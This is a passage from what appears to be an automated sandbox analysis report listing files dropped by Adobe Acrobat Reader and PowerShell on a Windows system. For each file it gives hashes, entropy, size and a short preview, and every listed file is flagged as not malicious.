Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287214157127226
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJf8dPeUkwRe9:YvXKXYesdTeOcnGU8Ukee9
MD5:	AFFE4698B3D843B5598C337E97CEF254
SHA1:	3305F0E97006EE7CC34EC89DA6984AD59BD694ED
SHA-256:	6ECA5D727EF14C89408AD2144DF8A6B9137FB3E6B44D006E83F84B078F117891
SHA-512:	750190D048D21C5DDC45D1576579AFAB25FEB423C6C4308E0CFFEB57F2EFBDFE03055C9C6D4A58366D3A2662810CEDEFB2A32BC461741E009A0E117E928F1FC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.291262326817684
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfQ1rPeUkwRe9:YvXKXYesdTeOcnGY16Ukee9
MD5:	A1E020E36C176606F5CD5D57A5651460
SHA1:	4A111450C85A9B86DA2BD474BECA872F81C65655
SHA-256:	7FED34B05A8F49E53DAB5F9B9D385C1AB78C543D3380087F39D28C65B7A91D18
SHA-512:	5BF54E6AF8ED68B298BEC7D3BECEFDEAEE39869036175FFE69961A0711F5BF9E44B889FCC7A75C8A96C31B777DCB8D1D978BE1B0D697F1211079FA573C993C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3081349794978125
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfFldPeUkwRe9:YvXKXYesdTeOcnGz8Ukee9
MD5:	9922116B0C30EFF282C48C432D204FE6
SHA1:	D75BB929661CCD4D52E9CC48581BB8B75DBA2F1B
SHA-256:	8AF4725BF1F328B89292F96323B01AE10D920A0B275EEB552BF677873B535FC9
SHA-512:	ED641FCA98CB7D82E9446603A2D46009F2F5EDEF302D21EEFBC46DAF9E7F2C3795B4B877B09622603C71743E5F2E1F867E20AC6D13C5055221B1F698D6E10107
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313507800174923
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfzdPeUkwRe9:YvXKXYesdTeOcnGb8Ukee9
MD5:	4FC27D6D5F2154C6C2F33490B23386BD
SHA1:	62E1CB69F67A2F15923588FA618FF54A63B36446
SHA-256:	9E97A7969EB687960522FFC922C8869B1FB7A78C8B55E339EB7DF3D7FC5BFE67
SHA-512:	EADBA2FC10C77C8456BE15B048557CC48F5E8100D2A7275DAD74CD57310A4D022823B56A405DF5D34EB571AF388EE18FA84EAEC2BE6FB2E543033E113F228774
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294307446340647
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfYdPeUkwRe9:YvXKXYesdTeOcnGg8Ukee9
MD5:	A3BD1E27C9DD4765EB21740825C7FD46
SHA1:	55FB70BB95EA89F0D4CAC0436E0CC2492EA4B257
SHA-256:	901CF90139E7952F52B1F8757F66689CA137004D9E20EECC03B29B5FBFA0CDBE
SHA-512:	959E612AA8241357BE27CAAAB706852080500A2200E2D397A1CAAE512952D3D2573DBF3C85707798AA7CE31B22899A93D5EE6F024651348DD122AE06147398F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280838951768851
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJf+dPeUkwRe9:YvXKXYesdTeOcnG28Ukee9
MD5:	9EAE6C892F27FECAB707844384219ABA
SHA1:	D20BBAE5BCE0A1B08EA7ECD5409B45E939A0B712
SHA-256:	F44E729B18030AD81C7BCC58AAB3F2D11BF29FEB4DAC33FAFF9556C8CA8E1710
SHA-512:	92E336F9654B3CADEB1FDE827CDD4201D5C7F32C45B5BFC0CB79EEC1F2EC28179CB0977CB9DCF14083E6ED017415188C837955233F10BF17CE82EFF16A5FB627
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277893668094644
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfbPtdPeUkwRe9:YvXKXYesdTeOcnGDV8Ukee9
MD5:	B997507A3FDCAEF2554BEE4490BB4D33
SHA1:	BBA217495C8E7CC9AB54943D8A0A5F74DF5E6B90
SHA-256:	64FBB7EE72C76F121FD3FED642EEF30E00B13D8A9D71490F108EC96DD1C70E02
SHA-512:	D4F389A566E7CE7096BA270D543C163E1770629A865AD14CA5BFDFB381A3E0317DEC6A46F4EEF30BC170394D2253B2DE9EC6902ABF3AE17E83662FBF301D5847
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28276219287419
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJf21rPeUkwRe9:YvXKXYesdTeOcnG+16Ukee9
MD5:	558F61911F1C53BB67F0697F6C448D2C
SHA1:	39F592002681CE11E3B8FC8CA263B2AEBA9488D5
SHA-256:	805A8C67B2498055769D9D765C825A9069E211B9ACA88B77118664C42661CF6F
SHA-512:	456B0B929826B65A1C41F94D37CADCB011BB7FDF9E33393535DD71ED2526315F821DC28EEF1596FFDBDFC66A4D220F260C089FB878DA106A0B8146F0C6AD25A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663214116984605
Encrypted:	false
SSDEEP:	24:Yv6XYemeOcYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSBb:YvVeABgkDMUJUAh8cvMBb
MD5:	4438D3EA0DC10DF8799C9332C41025C0
SHA1:	EE78DAB6500003CF0B3E90B57E2BDE8F1D790E27
SHA-256:	62C9EF3B8CF8AD62385289AAB10DC5A255AA5A67E92708DD6C70C1B9C723F3AC
SHA-512:	70F9BC93ADA5E7654D61500400C1B622FE23DC912C520E9E6083399E6F46CAC52655B5F031E72120A6656FA1F71B6B205B38DABE7AB6EF961A8E33148B634063
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25938373213908
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJfshHHrPeUkwRe9:YvXKXYesdTeOcnGUUUkee9
MD5:	07AC68B4B1467AE8A06FA685A1EC97F9
SHA1:	413AEB25D81E8989629E914DA70B06DDF4903373
SHA-256:	A911B0329EABB91590D9D68454FB613343F4E61CACB182751102D56392B6EBB3
SHA-512:	77BE8E33D97C7F48838C8DFB8D6B78418C3414E284868CAF79082E2F7DB578AFCF5645456B38E9C535812DE6C599AF2963A7F4667F309EE92E93ED6757D8F626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280978155350635
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9yGj+FS4WsGiIPEeOF0Yod/VeoAvJTqgFCrPeUkwRe9:YvXKXYesdTeOcnGTq16Ukee9
MD5:	228ACCEBC8DD251FA46C43F20A9D84C3
SHA1:	D919FA602365D066027A31E10E18D2270774EB46
SHA-256:	F476A57188AA59D704B93B30254C9954DAC575111C972E55455977255EDB0B47
SHA-512:	A6D3071C9A96DBAD95BD7036D7BE7DF83C05B3BEF0C62B960F327256834864B9524332151B178D483192BA5B8A9DDAE5226401E4F27F88002CE66846A3ADD552
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eba24a88-f517-41d2-9f9c-8aceb1c6b2e8","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736737081964,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144832224758296
Encrypted:	false
SSDEEP:	48:YwoUZqb4iXwbrcRIHmSJwxWhsDqP3M92JJ8c6FEEAn9ERqEY:zqUKicR0DMUJ8Cx
MD5:	509C9B8AA8BE6D7EC73B50B2B6F32E97
SHA1:	C1AB631B2570C122721CAA0B3B9747572ECA12D7
SHA-256:	742839EEE5F72F7DAC7C44FD532F2BAA7117F40E0657BE66D3B6FE0D47F9A921
SHA-512:	294BE7E6BB56989E944B1AC399D1E7C76CAD09D9C8C83AFF11621046E9AB8AABC8D214A957DE30DF173030B6A49CAEF6EB0F06091469D930D8B5AB6ED4F9AAE6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"67a22ffa2f0a657d199da1e370088270","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557186000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cfca9e628874b9f6300adac987cd0118","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557186000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"829064b3972c2f82b1620f8b29d6e827","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557186000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"db765dafbacff59e60dc33cd4070c238","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557186000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"2b97a3814c84bc3d3e98d31401bf0593","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","size":291,"ts":1736557186000},{"id":"DC_FirstMile_Home_View_Surface","info":{"dg":"c03cc36286c2dfa20f82d506a4d0681b","sid":"DC_FirstMile_Home_View_Surface"},"mimeType":"f

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4526797445422739
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsIXl6L:lNVmsw3SHtbDbPe0K3+fDZdw
MD5:	9617C737E47D4269BC0656B4A5BBBF21
SHA1:	09A0B3A02639F739C8E375A5AA2D8EC752588FB4
SHA-256:	FB3832FD840C847C51C05E97E5737A34C791AFFD045C682897FDC625019D7984
SHA-512:	4453EA8F88999A50FB024A5F29F646207FD035E00532ABE3E8FD0B60A36C7C6426330A970D3A1C619DE05108D0E57788676487068B1FA49FCE855A4CC2ED725B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9569397089148188
Encrypted:	false
SSDEEP:	48:7M/rvrBd6dHtbGIbPe0K3+fDy2dsIu0qFl2GL7msl:7a3SHtbDbPe0K3+fDZdfKVmsl
MD5:	56C97F925A999995B952629A330D7E1B
SHA1:	E1E6BE6A629FD12A73E35E89C4B8C48F14C4CA33
SHA-256:	248FEA057623137022BB29A51CFF15686094A9D38CCA944E555B20263B6CE521
SHA-512:	635B73A25C4D1456DCADC730A8824DBAF9AE743B02AF9F4F5595F2CB365CC555D1A0C2EB77492FF7A104306E5EE4D4226AEA264327D6FD10B755F0A41B2AA047
Malicious:	false
Preview:	.... .c.....3."F......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghMrnv/huvP7txuGE1Re9D2X38NYyu:6a6TZ44ADEhMrHhEDtbtNK
MD5:	31770654CCF0A9EA192C2BE51FCC3B70
SHA1:	3A8F6D071B426A17C428F8AA56044C51EE8246FA
SHA-256:	C56C62F5AC2048B8C892C6E6B8C4EC16A1D54CAA9C49DA7BA0E5F0FFD33DB12D
SHA-512:	22E5804B8786B3CB52C7A023979BF1BF4BF63203BCE084350881B4F61AC72FEBA95CCCFF6747454A956701F5186C611DD009B1519DC55509D848C54298B798D0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIb4585.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5213298467083405
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE4d:Qw946cPbiOxDlbYnuRK+bDY
MD5:	D11CE5C69F586D993B07BE38B0C1CD0C
SHA1:	A8CD7BB44645E40A0D59F7FE1FDEB87D891CC58A
SHA-256:	DFE6AD16E0F8A0226492DAA1D666A8AAED197588056D8C077A007F72F0DBD450
SHA-512:	ED5296D6FFA69956A3417B9AA4CBE4F6DCC6D39C6706C562785965433548E9C4BA17E104CC43F6C759E380C589127D7A1A1F884873963A0B47874F1D27EB465D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.9.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tst5ok2q.fp3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtnt2b53.r0d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-59-39-390.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347232598720363
Encrypted:	false
